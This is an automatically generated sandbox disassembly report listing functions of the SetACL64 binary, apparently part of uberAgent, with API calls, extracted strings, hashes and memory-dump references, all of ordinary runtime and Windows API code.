Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: Information
String ID:
API String ID: 2951059284-0
Opcode ID: 5a35f54198f71293160f6a52ccbbda1ccbfc04340909618ab7250ec950f78163
Instruction ID: 28a0c719a72bbc1b5b49827dad7861c846dcfa4e2d37292db1706894706d1426
Opcode Fuzzy Hash: 5a35f54198f71293160f6a52ccbbda1ccbfc04340909618ab7250ec950f78163
Instruction Fuzzy Hash: 60616422A0869685EB70EF13D45477AE7A0EF8DBA4FD48031DE8E47A96DE7CD441C720

Function 00007FF7C1718830 Relevance: 9.1, APIs: 6, Instructions: 80COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7C1718846
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7C171886B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7C1718895

Part of subcall function 00007FF7C17186B0: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7C1718719
Part of subcall function 00007FF7C17186B0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7C1718764
Part of subcall function 00007FF7C17186B0: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7C17187F4

std::_Facet_Register.LIBCPMT ref: 00007FF7C1718904
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7C171891E
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7C1718933

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Locinfo::_Locinfo_ctorRegister
String ID:
API String ID: 3702003507-0
Opcode ID: 5295a9cf4f159f187b6dae6dfa2a8d35e0ab65163286308850760d8e3341d609
Instruction ID: 12d7c2fc5d7fead716c0b9a8935068ae77713f0bbc1a50b78ff98a9ff4e79795
Opcode Fuzzy Hash: 5295a9cf4f159f187b6dae6dfa2a8d35e0ab65163286308850760d8e3341d609
Instruction Fuzzy Hash: EC319221A0CA4281EB05BF27E4401F9E361EF8DBB4FA90131DA5D47797DEACE465C720

Function 00007FF7C171B340 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 212COMMON

Download Yara Rule

APIs

__std_exception_destroy.LIBVCRUNTIME ref: 00007FF7C171B638
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF7C171B675

Part of subcall function 00007FF7C1742864: EnterCriticalSection.KERNEL32(?,?,00000000,00007FF7C171ABCE,?,?,00000000,00007FF7C17010A5), ref: 00007FF7C1742874

Strings

class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_exception_>(void), xrefs: 00007FF7C171B424
bad exception, xrefs: 00007FF7C171B390
D:\Code\uberAgent\Libraries\boost\boost\exception\detail\exception_ptr.hpp, xrefs: 00007FF7C171B42F

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: __std_exception_destroy$CriticalEnterSection
String ID: D:\Code\uberAgent\Libraries\boost\boost\exception\detail\exception_ptr.hpp$bad exception$class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_exception_>(void)
API String ID: 2585855615-497953542
Opcode ID: 5cb6a45f1239e3b2c4532f3151a5061be94b55bfe2cba1f0f6b6aad54e40ba79
Instruction ID: 8b9544fd5aad9939d8ea09deb0b4ede2fba9e41b2164b21f60ce5a408d700c1b
Opcode Fuzzy Hash: 5cb6a45f1239e3b2c4532f3151a5061be94b55bfe2cba1f0f6b6aad54e40ba79
Instruction Fuzzy Hash: 26B19F32B04B41CAEB10EF26E8401ACB3B5FB48B68B958136CE4D63B65EF78E555C750

Function 00007FF7C17011A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00007FF7C17011A6
GetLastError.KERNEL32 ref: 00007FF7C17011B8
TlsAlloc.KERNEL32 ref: 00007FF7C1701206
GetLastError.KERNEL32 ref: 00007FF7C1701218

Strings

tss, xrefs: 00007FF7C17011EE, 00007FF7C170124E

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: AllocErrorLast
String ID: tss
API String ID: 4252645092-1638339373
Opcode ID: 29b1765d9a66d25320b0dddf9ab890fdc794b5e67b2e205c5b857635990049a4
Instruction ID: 5ce87c9b2720ea6a526960d0611e514729592d330c06a174e6eb1169e8138832
Opcode Fuzzy Hash: 29b1765d9a66d25320b0dddf9ab890fdc794b5e67b2e205c5b857635990049a4
Instruction Fuzzy Hash: 9D211D35E0974282EB10BF26A880079E360BF5D374FE10531DA5D427E6DFBCD5158B20

Function 00007FF7C17453F0 Relevance: 7.8, APIs: 5, Instructions: 290COMMONLIBRARYCODE

Download Yara Rule

APIs

__AdjustPointer.LIBCMT ref: 00007FF7C1745513
__AdjustPointer.LIBCMT ref: 00007FF7C174555E

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 9cd00bc65b5929a6a166b842d15e1553bccd8dfd8d4598a16b21d71fb64958ac
Instruction ID: 3a5b5c0ead3bd44cca00ba11586b51f37a975162f9eae4243a243cc1a48e057c
Opcode Fuzzy Hash: 9cd00bc65b5929a6a166b842d15e1553bccd8dfd8d4598a16b21d71fb64958ac
Instruction Fuzzy Hash: EEB1C222A0A642C1EF65FF179440239E391AF4CBA4FA98435DE4D4B787DEBCE441CB60

Function 00007FF7C175E93C Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C175E97D
GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00007FF7C175E8FB,?,?,?,00007FF7C1758743), ref: 00007FF7C175EA3C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00007FF7C175E8FB,?,?,?,00007FF7C1758743), ref: 00007FF7C175EABC

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 32ec8d574ba77bf2bf9ab58ae09257ebb3ad25bdbe092dfc2be3e9920a5a0306
Instruction ID: 095bd6736d08e0d819842972d353804e044e4ad959b8aae5ae877ddd53144e59
Opcode Fuzzy Hash: 32ec8d574ba77bf2bf9ab58ae09257ebb3ad25bdbe092dfc2be3e9920a5a0306
Instruction Fuzzy Hash: 91819E22E1CA5285F750AF6684A06BCE7A0BB4C7B4FC44135DA0E53797DEBCA5458730

Function 00007FF7C173CB62 Relevance: 7.7, APIs: 5, Instructions: 181COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C1755174: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C175519A

NetDfsGetClientInfo.NETAPI32 ref: 00007FF7C173CCBD
NetApiBufferFree.NETAPI32 ref: 00007FF7C173CD21
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173CDE0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173CDE6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173CDEC

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$BufferClientFreeInfo_invalid_parameter_noinfo
String ID:
API String ID: 1720291354-0
Opcode ID: 75da794e4bc783c4a2d79550abe500da8be22825966d2fcdd0e41012ba63a114
Instruction ID: 0f1c5b8efacfc6dd760392e648723ed98684da7d7b96c064ef42e61d869df626
Opcode Fuzzy Hash: 75da794e4bc783c4a2d79550abe500da8be22825966d2fcdd0e41012ba63a114
Instruction Fuzzy Hash: 8161B662A18B4181EB14AF2AE44836DA761EB49FE4FD05132EB5D076DADFBCD491C310

Function 00007FF7C1760C1C Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF7C1760C44
_set_statfp.LIBCMT ref: 00007FF7C1760C5F
_set_statfp.LIBCMT ref: 00007FF7C1760C7B
_set_statfp.LIBCMT ref: 00007FF7C1760CB7

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: a0e95ead0251a3d4b91f5b95471b4db42acbeaa8104238e2645d395e8be0b7d9
Instruction ID: dc41c760846192fb91a36ee2e583dfd6889b0eb20122b3deadee5a62650f34f1
Opcode Fuzzy Hash: a0e95ead0251a3d4b91f5b95471b4db42acbeaa8104238e2645d395e8be0b7d9
Instruction Fuzzy Hash: ED11B2A6E18B1309F7643A2AD8593F591416F5C370E854634E5AF0A7DFCEACE8404264

Function 00007FF7C173DC00 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 241COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7C173DF79
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173DF85

Strings

gfffffff, xrefs: 00007FF7C173DC23
gfffffff, xrefs: 00007FF7C173DEFC

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID: gfffffff$gfffffff
API String ID: 73155330-161084747
Opcode ID: 65c4fbde1530cd6c047e0c087b113539f9e2fee0312e09cc542a9da4f50b182a
Instruction ID: a14d3c0320232cebcc2d4d6bd282c9fb5c23a9cb0cedb1d721ede73af98a7f4f
Opcode Fuzzy Hash: 65c4fbde1530cd6c047e0c087b113539f9e2fee0312e09cc542a9da4f50b182a
Instruction Fuzzy Hash: 25A1AEB2A04B8982DB10DF16E5442A9B3A4F75CBD4FD18236DE9C87746DF78E1A5C301

Function 00007FF7C1763804 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 218COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C1763AE0

Part of subcall function 00007FF7C175DA74: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C175DA91

Strings

UTF-8, xrefs: 00007FF7C1763A5F
ccs, xrefs: 00007FF7C1763A1B
UTF-16LEUNICODE, xrefs: 00007FF7C1763A7E

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 1bb88c3171e5cf5bbab3d2ebdd36e20614571ae61b64ac2c66acfc21f2ce36b7
Instruction ID: 4ec37892d0eceb10c02087e1fc3cc8073f782c99089aba71c9c2d459c0fa60a6
Opcode Fuzzy Hash: 1bb88c3171e5cf5bbab3d2ebdd36e20614571ae61b64ac2c66acfc21f2ce36b7
Instruction Fuzzy Hash: 8581C372E0C34285FB657F27811027CA6A0EB19B68FD5C035DA0E57A87CBADE901DF21

Function 00007FF7C17466FC Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7C174676C
_CallSETranslator.LIBVCRUNTIME ref: 00007FF7C17467B7

Strings

MOC, xrefs: 00007FF7C1746780
RCC, xrefs: 00007FF7C1746788

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 42ee9dd8031fa90d2704141954d4b245ff7b62f28e672c949d78bded72fb3b52
Instruction ID: 746e0a36e49e418372c7c5311aaa366ef0f2c32c685da198e2acf6820bc477aa
Opcode Fuzzy Hash: 42ee9dd8031fa90d2704141954d4b245ff7b62f28e672c949d78bded72fb3b52
Instruction Fuzzy Hash: 7F91C473A087858AE710EF66E8402ACBBA0F748798F50413AEF8D57756DF78D196CB00

Function 00007FF7C174B4C4 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 154COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C174B4FE
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C174B6D3

Strings

*, xrefs: 00007FF7C174B5FC
, xrefs: 00007FF7C174B651

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: c990fed08c054b4bafabfd0712f02d3fa7d918f2f89bfa53ed27954d69bca4da
Instruction ID: ce92ce6f23dd9673f9c9141ca4c43070d531a5a9461f82f6324e4fda7bae0183
Opcode Fuzzy Hash: c990fed08c054b4bafabfd0712f02d3fa7d918f2f89bfa53ed27954d69bca4da
Instruction Fuzzy Hash: 2D61787290D251C6E768EF2A805407CF7A5EB0DB68FD41136E64E43296CFA8DC41DF61

Function 00007FF7C1746C70 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7C1746C98
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF7C1746D80

Strings

csm, xrefs: 00007FF7C1746CBA
csm, xrefs: 00007FF7C1746DD2

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: eecb3a479b2a8091ed75647188cb13960218c4eb8784a86b31c02a998fb32c90
Instruction ID: cf4d054b83520c06e5361ee419f00b23398e9987091db30fdb958300115baac3
Opcode Fuzzy Hash: eecb3a479b2a8091ed75647188cb13960218c4eb8784a86b31c02a998fb32c90
Instruction Fuzzy Hash: 7D51963290869286EB74AF22D444369B790FB4CBA4F944135EB9C47B96CF7CE492CF10

Function 00007FF7C175926C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 134COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C17592AF

Strings

-, xrefs: 00007FF7C17593A6
gfff, xrefs: 00007FF7C17593D1
e+000, xrefs: 00007FF7C1759354

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$e+000$gfff
API String ID: 3215553584-2620144452
Opcode ID: b957d2cc3425ec91ce08f74e2f63db020459ef895d73246136ae502abcf24435
Instruction ID: ffa25fec73880c55353865749b16e9916ca7c329d13c7fad26e4bd3e6ba1bd5a
Opcode Fuzzy Hash: b957d2cc3425ec91ce08f74e2f63db020459ef895d73246136ae502abcf24435
Instruction Fuzzy Hash: 06512762B18BC286E7259F3A98503A9AB91E748BA0F889231C79C47BD7CE7DD444C710

Function 00007FF7C171D0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7C171D0CB
LeaveCriticalSection.KERNEL32 ref: 00007FF7C171D1AE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C171D1CC

Part of subcall function 00007FF7C1714FC0: GetModuleFileNameW.KERNEL32 ref: 00007FF7C171503A

Strings

.log, xrefs: 00007FF7C171D117

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: CriticalSection$EnterFileLeaveModuleName_invalid_parameter_noinfo_noreturn
String ID: .log
API String ID: 3890993197-299349702
Opcode ID: d1984f5f7160b112c225d9afbce00dc298177562a86290b7b952876b9305a88a
Instruction ID: 715f8fc2b290717c7c8b7c7e87cc812a0a3fb975759e77ad5fe09b833afd5f7f
Opcode Fuzzy Hash: d1984f5f7160b112c225d9afbce00dc298177562a86290b7b952876b9305a88a
Instruction Fuzzy Hash: 2821A461A0864290FF10BF16E545179E361EB8E7F0FD11631DA6D066EADFACD4448B10

Function 00007FF7C173B1AC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C173AA60: SysAllocString.OLEAUT32 ref: 00007FF7C173AAAF
Part of subcall function 00007FF7C173AA60: SysAllocString.OLEAUT32 ref: 00007FF7C173AAFD
Part of subcall function 00007FF7C173AA60: SysFreeString.OLEAUT32 ref: 00007FF7C173AD13
Part of subcall function 00007FF7C173AA60: SysFreeString.OLEAUT32 ref: 00007FF7C173AD50

CoUninitialize.OLE32 ref: 00007FF7C173B1D6

Strings

Jo, xrefs: 00007FF7C173B231

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: String$AllocFree$Uninitialize
String ID: Jo
API String ID: 3194604352-866799578
Opcode ID: fb526238290185d568cb8d2a9593fae541931b6e55344edac3bb91d1d3bb4913
Instruction ID: 66be9e19b2e8b1e2123e778fffcfc7be446047dab3eab695ddfd9d8a908a7a6e
Opcode Fuzzy Hash: fb526238290185d568cb8d2a9593fae541931b6e55344edac3bb91d1d3bb4913
Instruction Fuzzy Hash: 26118F62B1864281FB04FF26E1953BEA261AB48BA4FC04431CB0C03693DFBCE4A48220

Function 00007FF7C1740A30 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

MapGenericMask.ADVAPI32 ref: 00007FF7C1740A96
MapGenericMask.ADVAPI32 ref: 00007FF7C1740AC1

Strings

9, xrefs: 00007FF7C1740A77
?, xrefs: 00007FF7C1740A7F

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: GenericMask
String ID: 9$?
API String ID: 3675760450-2473970582
Opcode ID: 4c0f5baecf9d6be22cf31ba991dbf6aa8ff0cb5a87ad2c359d2a511522842ea8
Instruction ID: e9caed3cd4002ebdb280f8032dd0d3ae624d46318f246aeb8ab3dda2965a9825
Opcode Fuzzy Hash: 4c0f5baecf9d6be22cf31ba991dbf6aa8ff0cb5a87ad2c359d2a511522842ea8
Instruction Fuzzy Hash: 60114976A086458BEB21EF05F49512AB7B0F78D758F900135F78D06A1ADFBDD1598F00

Function 00007FF7C17126D0 Relevance: 6.2, APIs: 4, Instructions: 173COMMON

